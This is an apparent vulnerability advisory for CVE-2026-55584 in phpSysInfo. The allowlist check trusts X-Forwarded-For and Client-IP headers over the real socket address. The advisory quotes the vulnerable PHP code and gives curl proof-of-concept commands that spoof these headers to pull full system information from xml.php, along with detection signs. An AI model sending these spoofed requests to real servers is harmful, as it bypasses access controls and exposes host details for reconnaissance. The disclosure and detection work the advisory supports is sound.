phpSysInfo IP Allowlist Bypass via X-Forwarded-For Spoofing — CVE-2026-55584

Metadata

Affected Target

Summary

phpSysInfo’s PSI_ALLOWED IP allowlist feature determines the client IP by checking the attacker-controlled X-Forwarded-For header first, then Client-IP, and only falls back to the trustworthy REMOTE_ADDR socket address last. Because there is no concept of a trusted reverse proxy, any client can simply set an X-Forwarded-For (or Client-IP) header to an address present in the allowlist and be granted access, completely defeating the IP restriction and exposing full system information via xml.php.

Vulnerability Details

Root Cause

1
2
3
4
5
6
7
8

// read_config.php — vulnerable order of precedence
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
    $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} elseif (isset($_SERVER["HTTP_CLIENT_IP"])) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
} else {
    $ip = $_SERVER["REMOTE_ADDR"];   // only trustworthy source, checked last
}

CWE-290: Authentication Bypass by Spoofing — the code trusts client-supplied headers over the actual TCP-layer source address, with no trusted-proxy allowlist concept.

Attack Vector

1. Attacker identifies (or guesses, e.g. 8.8.8.8) an IP address present in the target’s PSI_ALLOWED configuration.
2. Attacker sends a request to xml.php with an X-Forwarded-For (or Client-IP) header set to that allowed address.
3. read_config.php resolves the client IP from the spoofed header instead of REMOTE_ADDR.
4. The allowlist check passes, and phpSysInfo returns full system information in the XML response.

Impact

Unauthenticated bypass of the intended IP-based access restriction, exposing detailed system/hardware/software information (CPU, memory, mounted filesystems, network interfaces, running services, OS/kernel version, etc.) to any remote attacker — useful for reconnaissance and further targeted attacks.

Environment / Lab Setup

Target:   phpSysInfo <= 3.4.5 with PSI_ALLOWED configured to restrict xml.php to specific IP(s)
Attacker: curl (or any HTTP client capable of setting custom headers)

Proof of Concept

PoC Script

No standalone script is provided upstream — see upstream-notes.md in this folder for the original write-up. The PoC is the exact curl commands below, copied from the source repository.

1
2
3

curl -s http://target/xml.php                                # "Client IP address (...) not allowed."
curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php  # bypass, full XML
curl -s -H "Client-IP: 8.8.8.8"       http://target/xml.php  # bypass, full XML

The first request is denied because the real source IP is not in the allowlist; the second and third requests spoof an allowed IP via X-Forwarded-For/Client-IP and successfully bypass the restriction, returning the full phpSysInfo XML output.

Detection & IOCs

Signs of compromise:

• Requests to xml.php carrying X-Forwarded-For or Client-IP headers set to allowlisted IPs while the true connecting peer differs
• Repeated probing of xml.php with varying spoofed IP header values
• Unexpected disclosure of internal system information observed being scraped/exfiltrated

Remediation

References

• Source repository
• GHSA-786w-p5pm-cvgh

Notes

Mirrored from https://github.com/mirackayikci/CVE-2026-55584 on 2026-07-05. This entry has no dedicated PoC script in the source repository — the upstream README (copied here as upstream-notes.md) documents the vulnerability entirely through the curl commands reproduced above and a code excerpt.